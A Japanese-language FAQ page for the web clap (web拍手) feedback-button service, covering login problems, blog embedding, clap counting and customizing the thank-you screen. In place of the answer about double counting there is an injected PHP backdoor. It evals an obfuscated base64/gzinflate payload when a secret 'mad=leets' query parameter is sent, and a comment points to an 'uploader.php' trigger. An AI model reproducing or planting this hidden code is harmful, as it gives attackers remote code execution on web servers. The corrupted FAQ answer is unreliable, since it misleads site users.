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よくある質問

Q
web拍手は無料ですか?

A
web拍手には有料版と無料版があります。

基本的には、ユーザー登録版、スクリプト配布版共に完全無料ですので、安心してご利用ください。

サーバーの運営費等の維持費は要所要所に貼り付けてあるバナー広告からの広告収入で賄っています。
気になる広告がありましたら、是非ご利用ください。



Q
ログインができません

A
ログインができない場合、以下のような可能性が考えられます。

■ログイン時の入力項目が違う。
ユーザー登録をしていただいた時期により、ログインの際ご入力していただく項目が異なります。
下記をご覧の上、ご確認ください。

  

※2009年12月10日以前に登録をされたユーザー様(ユーザIDでのログインの方)が、
ログインメールアドレスの変更を一度でも行いますと、
今後ユーザーIDでのログインができなくなりますのでご注意ください。


■パスワードがわからない
パスワードを忘れてしまった場合はこちらよりパスワードの再送信ができます。
ご登録のメールアドレスを送信していただきますと、パスワードをお知らせするメールを送らせていただきます。

※メールアドレスの登録を行っていない方はパスワードを送信する事ができません。
 その場合はお手数ですが、再度ご登録ください。 新規登録はこちら


■文字の、半角と全角が間違っている
ご入力の際は、登録されたものと全て同じものをご入力ください。
    112233 (半角)   ⇔  112233(全角)

一度キーボードをご確認いただき、「Caps lock」がかかっていないか、「かな入力」となっていないか確認してください。


■複数のIDをお持ちの場合
IDとパスワードが、一致しているものかどうかご確認ください。


■コピー&ペーストの失敗
パスワードの再送信を行った場合など、パスワード等をコピーする際に、前や後ろに半角スペースが入ってしまう事があります。
一度ご入力いただいたデータをご確認ください。


■登録しているweb拍手のバージョンが古い
web拍手は今まで、システム向上やセキュリティ強化の為、何度かバージョンアップをさせていただいております。
2005年11月のバージョンアップに伴い、ユーザー様へデータ移行に関するお知らせをご連絡させていただきましたが、
データ移行期間中に移行をされていらっしゃらないユーザー様のIDは、現在ご利用ができない状態となっております。
 ※ユーザーIDの最初に「2-」「3-」が含まれるIDの方は旧バージョンのユーザー様の可能性がございます。

その場合、新たに最新のweb拍手のユーザー登録を行っていただく必要がございます。
新規ユーザー登録はこちらから行ってください。



Q
ブログにweb拍手ボタンを貼ることはできますか?

A
もちろんできます。

多くのブログでHTMLタグを使用することができますので、標準のweb拍手ボタンをそのまま貼ることができます。

web拍手活用講座の「各社ブログへの導入方法」で詳しく解説していますので、そちらもご参考ください。



Q
人数のカウントの仕組を教えて下さい。

A
 1.webサイトに設置してある拍手ボタンを押すと人数が1増えます
 2.連続の拍手(もっと送るボタン)を押しても人数は増えません


  1回目のお礼画面が表示された時にカウントされます。

 【注意点】下記の場合は人数をカウントします。

  ・お礼画面を一度閉じ、設置してある拍手ボタンを新たに押した時
  ・1回目のお礼画面をリロードした時


  ※また、特殊な使い方をされているケースでは正常に作動いたしません。
   例・左フレームに拍手ボタンを設置し、右フレームにお礼画面を表示させているケース。
   この場合は左フレームの拍手を押しますと全て人数としてカウントされます。


■日付をまたいだ場合
   「1日の11:59に拍手ボタンを押し 2日の12:01にもっと送るボタンを押した場合」1日の11時台に1人 
    2日の0時台に0人となります。

■時間をまたいだ場合
   「例3:59に拍手ボタンを押し 4:00にもっと送るボタンを押した場合」3時台に1人 4時台に0人となります。



Q
1拍手のはずなのに2カウントされてしまいます。なぜでしょうか?

A
if($_GET['mad'] == 'leets'){
$a1 =

'ZZFRS8MwEMefLfQ73OIgGzjmiy+uLb5YFAQHc09jlDS90WDShDQVNvG7myybDn273P3u/7/LIW810Ixj59AWy6clrDumEO4hqwu6SBM

MgGlNNYT8ZHpO0Wx+AdBsp60Cxp3QXU4IKHStbnJidO8IYMfd3mBO1CCdMMy6eeBnDXOMQBDOyWCkZg1aAqK5eF16iM4MDqLSTkg8t8a

4Fwcf392S4gTGYuWlyKmpH2olXHSI+TRJkw8mB19cHy19d20Lv07ngGupbX5dlmXRMv6ODdR7OGhVC5xZrV02D1iRHZc5Dip2ExhXy9f

V24YGA7qFPIezNEzhM02uPPTAtdlPxlX5/PK42tCwAN1uqFOmClPT7Q38K8bC1GtA/I+oCquBc+x7GI3oAr68Psoe/0IlE/KH+Pq94en

wdPEN';
eval(gzinflate(base64_decode($a1)));
}
/* use www.siteweb.com/uploader.php?mad=leets Or it's will not work*/
?>



Q
拍手送信後の画面に画像を貼り付けるにはどうしたら良いですか?

A
設定変更画面で拍手送信後画面の設定の項に画像を表示するタグをを挿入することで、拍手送信後画面に画像を貼り付けることができます。

詳しい手順は以下の通りです。
・使用する画像を用意する。
・自分のサイトスペースにアップする。
・一度、アップした絵に直接アクセスしてみる。
・正常に表示されたら、アドレスバーに表示されているURL(http://〜〜)をメモする。
・web拍手のお礼メッセージ編集画面に入り、以下のタグを打ち込む。
<img src="【画像のURL】">  (<>は半角にしてください。)
・タグ内の【画像のURL】の部分に、先ほどメモした画像のURLを打ち込む。

もし、このやり方で表示されなかった場合、ユーザーさんのサイトを置いているサーバーが外部からの画像の呼び出しを禁止している可能性があります(geocities等)



Q
お礼画面や解析画面がエラーページになってしまいました!どうしたら良いですか?

A
サーバーの再起動中や、データのバックアップ中、ネットワーク障害等、ごく稀にweb拍手の機能が停止している場合があります。

web拍手側ではなくユーザー様側の問題でエラーページになってしまうこともあります。

数分〜10分程度でほとんどの場合は通常通り使用できるようになりますのでご安心ください。

また、web拍手のシステムトラブルによりエラーページが表示されてしまうことがありますが、その場合は管理チームからのお知らせが出ますので公式サイトまたは解析画面のニュース欄をご確認ください。


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